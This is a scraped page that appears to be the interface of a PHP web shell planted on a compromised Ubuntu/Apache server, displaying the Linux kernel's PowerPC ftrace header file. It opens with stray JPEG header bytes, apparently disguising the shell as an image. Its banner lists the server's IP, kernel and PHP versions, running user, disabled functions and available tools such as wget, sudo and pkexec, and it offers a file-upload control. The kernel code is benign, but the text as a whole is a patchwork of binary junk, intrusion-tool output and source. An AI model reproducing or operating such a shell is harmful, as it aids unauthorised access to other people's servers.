????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.128.205.62 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib/modules/3.13.0-170-generic/build/arch/powerpc/include/asm/ |
Upload File : |
#ifndef _ASM_POWERPC_FTRACE #define _ASM_POWERPC_FTRACE #ifdef CONFIG_FUNCTION_TRACER #define MCOUNT_ADDR ((long)(_mcount)) #define MCOUNT_INSN_SIZE 4 /* sizeof mcount call */ #ifdef __ASSEMBLY__ /* Based off of objdump optput from glibc */ #define MCOUNT_SAVE_FRAME \ stwu r1,-48(r1); \ stw r3, 12(r1); \ stw r4, 16(r1); \ stw r5, 20(r1); \ stw r6, 24(r1); \ mflr r3; \ lwz r4, 52(r1); \ mfcr r5; \ stw r7, 28(r1); \ stw r8, 32(r1); \ stw r9, 36(r1); \ stw r10,40(r1); \ stw r3, 44(r1); \ stw r5, 8(r1) #define MCOUNT_RESTORE_FRAME \ lwz r6, 8(r1); \ lwz r0, 44(r1); \ lwz r3, 12(r1); \ mtctr r0; \ lwz r4, 16(r1); \ mtcr r6; \ lwz r5, 20(r1); \ lwz r6, 24(r1); \ lwz r0, 52(r1); \ lwz r7, 28(r1); \ lwz r8, 32(r1); \ mtlr r0; \ lwz r9, 36(r1); \ lwz r10,40(r1); \ addi r1, r1, 48 #else /* !__ASSEMBLY__ */ extern void _mcount(void); #ifdef CONFIG_DYNAMIC_FTRACE static inline unsigned long ftrace_call_adjust(unsigned long addr) { /* reloction of mcount call site is the same as the address */ return addr; } struct dyn_arch_ftrace { struct module *mod; }; #endif /* CONFIG_DYNAMIC_FTRACE */ #endif /* __ASSEMBLY__ */ #endif #if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_PPC64) && !defined(__ASSEMBLY__) #define ARCH_HAS_SYSCALL_MATCH_SYM_NAME static inline bool arch_syscall_match_sym_name(const char *sym, const char *name) { /* * Compare the symbol name with the system call name. Skip the .sys or .SyS * prefix from the symbol name and the sys prefix from the system call name and * just match the rest. This is only needed on ppc64 since symbol names on * 32bit do not start with a period so the generic function will work. */ return !strcmp(sym + 4, name + 3); } #endif /* CONFIG_FTRACE_SYSCALLS && CONFIG_PPC64 && !__ASSEMBLY__ */ #endif /* _ASM_POWERPC_FTRACE */